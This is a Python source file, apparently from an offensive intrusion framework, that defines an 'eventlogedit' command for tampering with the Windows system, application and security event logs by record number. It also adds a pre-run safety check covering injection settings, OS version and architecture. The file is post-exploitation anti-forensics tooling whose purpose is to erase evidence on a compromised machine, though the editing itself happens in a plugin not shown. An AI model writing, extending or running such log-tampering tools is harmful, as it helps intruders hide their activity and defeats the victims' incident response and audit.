56 lines
2.2 KiB
Python
56 lines
2.2 KiB
Python
|
|
||
|
|
import ops.cmd
|
||
|
|
import ops
|
||
|
|
import ops.env
|
||
|
|
import ops.cmd.safetychecks
|
||
|
|
import dsz.version
|
||
|
|
from ops.cmd import getBoolOption, setBoolOption, getValueOption, setListOption, setStringOption, setIntOption
|
||
|
|
OpsCommandException = ops.cmd.OpsCommandException
|
||
|
|
VALID_OPTIONS = ['log', 'record', 'searchlen']
|
||
|
|
|
||
|
|
class EventLogEditCommand(ops.cmd.DszCommand, ):
|
||
|
|
optgroups = {}
|
||
|
|
reqgroups = []
|
||
|
|
reqopts = ['log', 'record']
|
||
|
|
defopts = {}
|
||
|
|
|
||
|
|
def __init__(self, plugin='eventlogedit', **optdict):
|
||
|
|
ops.cmd.DszCommand.__init__(self, plugin, **optdict)
|
||
|
|
|
||
|
|
def validateInput(self):
|
||
|
|
for opt in self.optdict:
|
||
|
|
if (opt not in VALID_OPTIONS):
|
||
|
|
return False
|
||
|
|
for req in self.reqopts:
|
||
|
|
if (req not in self.optdict):
|
||
|
|
return False
|
||
|
|
return True
|
||
|
|
log = property((lambda x: getValueOption(x, 'log')), (lambda x, y: setListOption(x, y, 'log', ['system', 'application', 'security'])))
|
||
|
|
record = property((lambda x: getValueOption(x, 'record')), (lambda x, y: setIntOption(x, y, 'record')))
|
||
|
|
searchlen = property((lambda x: getValueOption(x, 'searchlen')), (lambda x, y: setIntOption(x, y, 'searchlen')))
|
||
|
|
ops.cmd.command_classes['eventlogedit'] = EventLogEditCommand
|
||
|
|
ops.cmd.aliasoptions['eventlogedit'] = VALID_OPTIONS
|
||
|
|
|
||
|
|
def mySafetyCheck(self):
|
||
|
|
good = True
|
||
|
|
msgparts = []
|
||
|
|
if (ops.env.get('OPS_NOINJECT').upper() == 'TRUE'):
|
||
|
|
good = False
|
||
|
|
msgparts.append('OPS_NOINJECT is set to TRUE, you should probably not run eventlogedit')
|
||
|
|
osinfo = dsz.version.Info()
|
||
|
|
if (osinfo.major > 5):
|
||
|
|
good = False
|
||
|
|
msgparts.append('Vista+ OS detected, we cannot edit logs on this OS')
|
||
|
|
if ((osinfo.arch == 'x64') and (osinfo.compiledArch != 'x64')):
|
||
|
|
good = False
|
||
|
|
msgparts.append('32-bit binary on 64-bit OS')
|
||
|
|
if (not self.validateInput()):
|
||
|
|
good = False
|
||
|
|
msgparts.append('Your command did not pass input validation')
|
||
|
|
msg = ''
|
||
|
|
if (len(msgparts) > 0):
|
||
|
|
msg = msgparts[0]
|
||
|
|
for msgpart in msgparts[1:]:
|
||
|
|
msg += ('\n\t' + msgpart)
|
||
|
|
return (good, msg)
|
||
|
|
ops.cmd.safetychecks.addSafetyHandler('eventlogedit', 'ops.cmd.eventlogedit.mySafetyCheck')
|